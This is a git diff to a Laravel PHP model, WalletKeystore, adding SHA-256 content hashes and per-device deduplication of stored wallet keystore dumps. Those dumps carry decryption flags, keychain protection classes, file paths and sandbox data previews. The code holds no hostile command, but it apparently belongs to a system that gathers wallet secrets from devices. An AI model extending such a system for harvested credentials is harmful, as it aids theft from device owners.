fix: test

app/Models/WalletKeystore.php

@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\BelongsTo;
 class WalletKeystore extends Model
 {
     protected $fillable = [
-        'device_id', 'source', 'decrypted', 'raw_json',
+        'device_id', 'source', 'decrypted', 'raw_json', 'content_hash',
     ];
 
     protected function casts(): array
@@ -19,6 +19,78 @@ class WalletKeystore extends Model
         ];
     }
 
+    /**
+     * @param  array<string, mixed>  $rawJson
+     */
+    public static function hashPayload(array $rawJson): string
+    {
+        $row = new static(['raw_json' => $rawJson]);
+        $digests = $row->contentDigests();
+        $seed = $row->kind().'|'.implode(',', $digests);
+        if ($digests === []) {
+            $seed .= '|'.json_encode($rawJson, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
+        }
+
+        return hash('sha256', $seed);
+    }
+
+    /**
+     * @param  array<string, mixed>  $rawJson
+     */
+    public static function firstOrCreateForDevice(Device $device, string $source, array $rawJson): self
+    {
+        $hash = self::hashPayload($rawJson);
+        $matches = [];
+        foreach (self::query()->where('device_id', $device->id)->orderByDesc('decrypted')->orderByDesc('id')->cursor() as $row) {
+            $rowHash = (string) $row->content_hash;
+            if ($rowHash === '') {
+                $rowHash = self::hashPayload(is_array($row->raw_json) ? $row->raw_json : []);
+            }
+            if (! hash_equals($rowHash, $hash)) {
+                continue;
+            }
+            if ((string) $row->content_hash !== $hash) {
+                $row->forceFill(['content_hash' => $hash])->save();
+            }
+            $matches[] = $row;
+        }
+
+        if ($matches !== []) {
+            $keep = $matches[0];
+            foreach (array_slice($matches, 1) as $dup) {
+                $dup->delete();
+            }
+
+            return $keep;
+        }
+
+        return self::query()->create([
+            'device_id' => $device->id,
+            'source' => $source,
+            'decrypted' => 0,
+            'raw_json' => $rawJson,
+            'content_hash' => $hash,
+        ]);
+    }
+
+    /**
+     * @return list<string>
+     */
+    public function contentDigests(): array
+    {
+        $out = [];
+        foreach ($this->listedItems() as $item) {
+            $sha = (string) ($item['data_sha'] ?? '');
+            if ($sha === '' || (int) ($item['data_len'] ?? 0) <= 0) {
+                continue;
+            }
+            $out[] = $sha;
+        }
+        sort($out);
+
+        return $out;
+    }
+
     public function sourceLabel(): string
     {
         $source = trim((string) $this->source);
@@ -48,7 +120,8 @@ class WalletKeystore extends Model
      *   protection_class: string,
      *   path: string,
      *   data_len: int,
-     *   data_preview: string
+     *   data_preview: string,
+     *   data_sha: string
      * }>
      */
     public function listedItems(): array
@@ -124,7 +197,8 @@ class WalletKeystore extends Model
      *   protection_class: string,
      *   path: string,
      *   data_len: int,
-     *   data_preview: string
+     *   data_preview: string,
+     *   data_sha: string
      * }
      */
     private function normalizeItem(array $item): array
@@ -145,6 +219,7 @@ class WalletKeystore extends Model
             'path' => trim((string) ($item['path'] ?? '')),
             'data_len' => strlen($bin),
             'data_preview' => $this->previewBytes($bin !== '' ? $bin : $hex),
+            'data_sha' => $bin === '' ? '' : hash('sha256', $bin),
         ];
     }
 
@@ -157,7 +232,8 @@ class WalletKeystore extends Model
      *   protection_class: string,
      *   path: string,
      *   data_len: int,
-     *   data_preview: string
+     *   data_preview: string,
+     *   data_sha: string
      * }>
      */
     private function sandboxItems(array $sandbox, string $prefix = ''): array